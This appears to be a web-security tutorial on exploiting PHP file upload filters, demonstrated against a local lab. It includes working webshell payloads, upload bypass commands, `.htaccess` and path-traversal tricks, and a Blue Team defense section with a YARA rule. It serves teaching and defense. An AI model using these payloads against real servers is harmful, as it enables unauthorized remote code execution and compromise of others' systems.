Exploiting File Upload Vulnerabilities: From Bypass to Webshell

Web Exploitation
Time it takes to read this article 5 minutes.

Introduction

File upload functionality is everywhere: profile pictures, document attachments, CSV imports, support tickets. Whenever a server accepts a file from an untrusted user and stores it inside the web root, there is a chance an attacker can turn that feature into Remote Code Execution (RCE) by uploading a webshell — a script that executes attacker-supplied commands.

In this article you will learn how upload filters work, the four classic bypass primitives (content-type spoofing, double extension, magic bytes, and null-byte/parser tricks), and a full PoC walkthrough against a vulnerable PHP endpoint. Equally important, the Blue Team section shows how to neutralise every one of these techniques.

Legal & ethical disclaimer. Everything below is for education and authorized testing only — your own lab, a CTF, or an engagement with explicit written permission. Uploading a webshell to a system you do not own or are not contracted to test is a crime in most jurisdictions.

How It Works / Background

A secure upload pipeline must validate three independent layers, and a vulnerability appears whenever one of them is trusted alone:

  1. Extension — the suffix of the filename (.php, .jpg). Easy to spoof; the last extension is what most web servers map to a handler.
  2. Content-Type (MIME) — the Content-Type header inside the multipart/form-data body. Fully attacker-controlled, so server-side checks that trust it are useless.
  3. Magic bytes — the first few bytes of the file (the "signature"). A JPEG starts with FF D8 FF, a PNG with 89 50 4E 47, a GIF with 47 49 46 38 (GIF8). Servers often run getimagesize() or file(1) against these bytes.

The attacker's goal is to satisfy every check the server actually performs while still placing executable code that the web server will interpret. Whether the upload is exploitable also depends on where the file lands and whether that path is served and executed by a handler (PHP-FPM, mod_php, ASP.NET, etc.).

Prerequisites / Lab Setup

Spin up a deliberately vulnerable PHP target. A quick local lab:

mkdir -p /tmp/upload-lab/uploads && cd /tmp/upload-lab
cat > index.php <<'EOF'
<?php
if ($_FILES) {
    $name = basename($_FILES['file']['name']);
    // Insecure: trusts client MIME + only blocks the literal ".php"
    if ($_FILES['file']['type'] === 'image/jpeg'
        && !preg_match('/\.php$/i', $name)) {
        move_uploaded_file($_FILES['file']['tmp_name'], "uploads/$name");
        echo "Saved as uploads/$name";
    } else { echo "Rejected"; }
}
?>
<form method=post enctype=multipart/form-data>
  <input type=file name=file><input type=submit>
</form>
EOF
php -S 127.0.0.1:8000
Bash

Tools used: curl, Burp Suite, exiftool, and a PHP webshell. PortSwigger's Web Security Academy also hosts free, legal file upload labs.

Attack Walkthrough / PoC

Step 1 — Baseline a clean upload

curl -s -F 'file=@cat.jpg;type=image/jpeg' http://127.0.0.1:8000/
Bash

This tells us the allowed MIME (image/jpeg) and confirms files land in /uploads/.

Step 2 — Content-Type spoofing

The server checks $_FILES['file']['type'], which comes straight from the request. With curl we set type= to whatever the server wants while uploading a PHP file. In Burp, intercept the request and change the part's Content-Type: header to image/jpeg.

Step 3 — Double extension

The filter only blocks names ending in .php. Apache historically maps any recognised extension in a multi-dotted name. With a config like AddHandler application/x-httpd-php .php, a file named shell.php.jpg may be parsed as PHP. The reverse — shell.jpg.php — defeats naive "must start as image" checks. We also abuse alternate PHP handler extensions that blocklists forget: .phtml, .php5, .phar, .pht.

Step 4 — Magic bytes

If the server runs getimagesize(), prepend real image bytes so the file is a valid GIF while still containing PHP:

printf 'GIF89a;\n' > shell.php.jpg
cat >> shell.php.jpg <<'EOF'
<?php system($_GET['cmd']); ?>
EOF
Bash

GIF89a is a valid GIF magic header, so getimagesize() succeeds; PHP ignores the leading bytes and runs the tag. You can also smuggle PHP into a real image's EXIF comment so the file passes even strict pixel parsers:

exiftool -Comment='<?php system($_GET["cmd"]); ?>' cat.jpg -o shell.php.jpg
Bash

Step 5 — Land the webshell

Combine all three primitives in one request:

curl -s -F 'file=@shell.php.jpg;type=image/jpeg' http://127.0.0.1:8000/
Bash

If the server (or .htaccess) maps .jpg-suffixed double extensions to PHP, trigger execution:

curl -s 'http://127.0.0.1:8000/uploads/shell.php.jpg?cmd=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Bash

For a more capable foothold, upload a tested webshell such as /usr/share/webshells/php/php-reverse-shell.php (Kali) and catch it with a listener — see Reverse Shells: A Practical Cheat Sheet.

Step 6 — When the upload dir isn't executable

Sometimes uploads are writable but the handler is disabled there. Bypass options:

  • Upload a malicious .htaccess to re-enable PHP in that directory: AddType application/x-httpd-php .jpg.
  • Path traversal in the filename (../../shell.php) to escape into an executable directory.
  • For ASP.NET/IIS, abuse trailing characters or web.config uploads. This overlaps with broader Local File Inclusion to RCE techniques.

Mermaid Diagram

Exploiting File Upload Vulnerabilities: From Bypass to Webshell diagram 1

The diagram shows an attacker defeating MIME, extension, and magic-byte checks so the stored file is executed by the web server, yielding RCE.

Detection & Defense (Blue Team)

Defenders must assume every client-supplied attribute is hostile and validate server-side. Apply these in depth:

  • Allowlist, never blocklist. Accept only an explicit set of extensions (jpg, png, pdf) and reject everything else. Blocklists always miss .phtml, .phar, .php5, .pht, .shtml.
  • Rename on storage. Generate a server-side random name (e.g., a UUID) and append a single, server-chosen extension. This kills double-extension and path-traversal attacks at once.
  • Validate content, not just the header. Use a real type check (finfo_file() / mime_content_type() in PHP, python-magic, or file --mime-type) and re-encode images (GD imagecreatefromjpeg() then imagejpeg()), which strips embedded PHP from EXIF/comment payloads.
  • Store outside the web root. Serve files through a script that sets Content-Disposition: attachment and a forced Content-Type, so nothing under /uploads/ is ever directly executable.
  • Disable execution in upload dirs. In Apache, php_admin_flag engine off and deny script handlers; and block .htaccess overrides with AllowOverride None. In nginx, never add a location ~ \.php$ that covers the upload path.
  • Detection / hunting: Monitor for newly-written files with script extensions or GIF89a/<?php content in upload directories using FIM (auditd, inotifywait, Wazuh). YARA rule example to flag PHP webshells in images:
rule php_in_image {
  strings:
    $magic = { (FF D8 FF | 47 49 46 38) }
    $php   = "<?php"
  condition: $magic at 0 and $php
}
YAML
  • WAF & logging: A WAF (ModSecurity CRS) can flag multipart bodies containing <?php, and access logs showing GET /uploads/*.jpg?cmd= are a strong IoC. This maps to MITRE ATT&CK T1505.003 (Server Software Component: Web Shell) and T1190 (Exploit Public-Facing Application) — feed those into your detection coverage.

Conclusion

File upload bugs remain one of the most reliable paths to RCE because they sit at the intersection of three weak checks — extension, MIME, and magic bytes — any of which is trivially forged in isolation. Offensively, chaining a GIF89a header, a double extension, and a spoofed Content-Type is often enough to drop a webshell. Defensively, the answer is consistent and cheap: allowlist extensions, rename and re-encode files, store them outside the web root, and disable execution wherever uploads land.

References

Comments

Copied title and URL